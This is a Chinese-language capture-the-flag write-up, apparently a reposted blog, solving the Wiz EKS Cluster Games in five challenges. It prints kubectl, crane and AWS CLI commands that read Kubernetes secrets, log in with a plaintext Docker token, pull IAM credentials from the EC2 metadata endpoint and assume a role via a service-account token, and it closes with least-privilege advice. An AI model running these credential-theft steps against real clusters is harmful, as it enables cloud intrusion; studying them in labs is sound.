云安全-wiz eks-cluster-games题解与思考

2023-12-17 11:52

本文主要是介绍云安全-wiz eks-cluster-games题解与思考,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

  • 题目1 Secret Seeker
  • 题目2 Registry Hunt
  • 题目3 Image Inquisition
  • 题目4 Pod Break
  • 题目5 Container Secrets Infrastructure
  • 思考
    • 权限不必提供
    • secret使用时需要注意
    • 镜像使用
    • 云上配置
  • 参考


题目1 Secret Seeker

在这里插入图片描述
可以看到有secrets的get和list权限

kubectl get secrets
kubectl  get secrets log-rotate -o yaml

之后base64解码即可
在这里插入图片描述

题目2 Registry Hunt

在这里插入图片描述
可以看到有secrets的get和pods的list、get权限

由于没有secrets的list权限,我们需要先通过pods来确定secret的名称

kubectl get pods
kubectl get po database-pod-2c9b3a4e -o yaml

在这里插入图片描述
查看secret

kubectl get secret registry-pull-secrets-780bab1d -o yaml

在这里插入图片描述
之后发现题目的crane工具可以登录
在这里插入图片描述

crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

下载镜像层

crane pull eksclustergames/base_ext_image base_ext_image.tar
tar -xvf base_ext_image.tar

在这里插入图片描述
解压

tar -xvf 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz

在这里插入图片描述
最后再cat一下就行了

部分尝试
在这里插入图片描述
尝试了docker,发现这个节点没有
在这里插入图片描述
也无法安装

题目3 Image Inquisition

第二个单词是“盘问”的意思,看来要搞镜像了
在这里插入图片描述
可以看到有pods的list和get权限

kubectl get po
kubectl get po accounting-pod-876647f8 -o yaml

在这里插入图片描述
看了Hint #1
在这里插入图片描述
然后发现,正是我前段时间研究AWS EC2时的文章中写的SSRF安全问题

curl 169.254.169.254/latest/meta-data

在这里插入图片描述
查看iam临时凭据

curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole

在这里插入图片描述
配置好aws cli后生成密码,并使用crane获取更多信息。

aws ecr get-login-password | crane auth login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

在这里插入图片描述ARTIFACTORY_TOKEN就是flag

部分尝试
在这里插入图片描述
进行了类似题目2的尝试,失败了,原因是没有权限

在这里插入图片描述
进行权限列表获取,失败了,原因是没有权限

题目4 Pod Break

在这里插入图片描述
可以看到没有权限了,那就只能通过sts了

aws eks help

在这里插入图片描述
生成token

aws eks get-token --cluster-name eks-challenge-cluster

在这里插入图片描述
获取secrets

kubectl get secrets --token k8s-aws-xxx

在这里插入图片描述
查看具体内容

kubectl get secrets node-flag --token k8s-aws-xxx -o yaml

在这里插入图片描述

部分尝试
在这里插入图片描述
验证权限,确实没有了

题目5 Container Secrets Infrastructure

在这里插入图片描述

{"Policy": {"Statement": [{"Action": ["s3:GetObject","s3:ListBucket"],"Effect": "Allow","Resource": ["arn:aws:s3:::challenge-flag-bucket-3ff1ae2","arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"]}],"Version": "2012-10-17"}
}

允许列出和读取s3桶的对象,那应该就是flag对象了

{"Version": "2012-10-17","Statement": [{"Effect": "Allow","Principal": {"Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"},"Action": "sts:AssumeRoleWithWebIdentity","Condition": {"StringEquals": {"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"}}}]
}

授权时做了限制,限制了audience和Federated

{"secrets": ["get","list"],"serviceaccounts": ["get","list"],"pods": ["get","list"],"serviceaccounts/token": ["create"]
}

可以列出或读取secrets/serviceaccounts/pods内容,可以创建serviceaccounts/token
在这里插入图片描述实际上做了限制,只能给debug-sa这个创建token
aws cli没有s3权限,只能先看看eks集群有啥信息了

kubectl get sa

在这里插入图片描述
只有sa有东西,不理解,可能权限给多了
在这里插入图片描述
debug-sa应该也没用,description写了没有policy。
创建一个token试一下

kubectl create token debug-sa

在这里插入图片描述
在这里插入图片描述
解密发现和策略的限制能对的上,那看来其实是用debug-sa的
在这里插入图片描述
发现并不行,auience是不对的,翻到前面的限制发现audience必须sts.amazonaws.com
在这里插入图片描述
加上audience后终于成功了
在这里插入图片描述
在这里插入图片描述
切换后终于有s3权限了
在这里插入图片描述

部分尝试
在这里插入图片描述
尝试创建token,没有权限

思考

权限不必提供

攻击到集群,可以执行命令后,首先要做的就是查看权限,常用命令

kubectl auth can-i --list

在这里插入图片描述

secret使用时需要注意

base64编码不安全

镜像使用

注意镜像层是否有敏感信息,防止通过docker history等命令暴露;dockerconfig等镜像仓库配置需要保存好。

云上配置

注意RBAC、IAM policy等敏感配置,遵循最小权限原则。

参考

wiz-宣布EKS集群游戏
k8s学习-Secret(创建、使用、更新、删除等)

k8s-私有仓库拉取镜像
容器注册表工具-crane

云原生-AWS EC2使用、安全性及国内厂商对比
aws-cli
aws-ecr工具使用
如何获取凭据
aws-cli-sts

aws-cli-eks

aws-cli-s3
https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html?highlight=assumerolewithwebidentity
JSON Web Tokens (JWT) 在线解密

这篇关于云安全-wiz eks-cluster-games题解与思考的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/504272

相关文章

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

【编程底层思考】垃圾收集机制,GC算法,垃圾收集器类型概述

Java的垃圾收集(Garbage Collection,GC)机制是Java语言的一大特色,它负责自动管理内存的回收,释放不再使用的对象所占用的内存。以下是对Java垃圾收集机制的详细介绍: 一、垃圾收集机制概述: 对象存活判断:垃圾收集器定期检查堆内存中的对象,判断哪些对象是“垃圾”,即不再被任何引用链直接或间接引用的对象。内存回收:将判断为垃圾的对象占用的内存进行回收,以便重新使用。

C++ | Leetcode C++题解之第393题UTF-8编码验证

题目: 题解: class Solution {public:static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num &

C语言 | Leetcode C语言题解之第393题UTF-8编码验证

题目: 题解: static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num & MASK1) == 0) {return

【Kubernetes】K8s 的安全框架和用户认证

K8s 的安全框架和用户认证 1.Kubernetes 的安全框架1.1 认证:Authentication1.2 鉴权:Authorization1.3 准入控制:Admission Control 2.Kubernetes 的用户认证2.1 Kubernetes 的用户认证方式2.2 配置 Kubernetes 集群使用密码认证 Kubernetes 作为一个分布式的虚拟

C - Word Ladder题解

C - Word Ladder 题解 解题思路: 先输入两个字符串S 和t 然后在S和T中寻找有多少个字符不同的个数(也就是需要变换多少次) 开始替换时: tips: 字符串下标以0开始 我们定义两个变量a和b,用于记录当前遍历到的字符 首先是判断:如果这时a已经==b了,那么就跳过,不用管; 如果a大于b的话:那么我们就让s中的第i项替换成b,接着就直接输出S就行了。 这样

企业安全之WiFi篇

很多的公司都没有安全团队,只有运维来负责整个公司的安全,从而安全问题也大打折扣。我最近一直在给各个公司做安全检测,就把自己的心得写下来,有什么不足之处还望补充。 0×01  无线安全 很多的公司都有不怎么注重公司的无线电安全,有钱的公司买设备,没钱的公司搞人力。但是人的技术在好,没有设备的辅助,人力在牛逼也没有个卵用。一个好的路由器、交换机、IDS就像你装备了 无尽、狂徒、杀人书一

【秋招笔试】9.07米哈游秋招改编题-三语言题解

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 大厂实习经历 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍒 本专栏已收集 100+ 套笔试题,笔试真题 会在第一时间跟新 🍄 题面描述等均已改编,如果和你笔试题看到的题面描述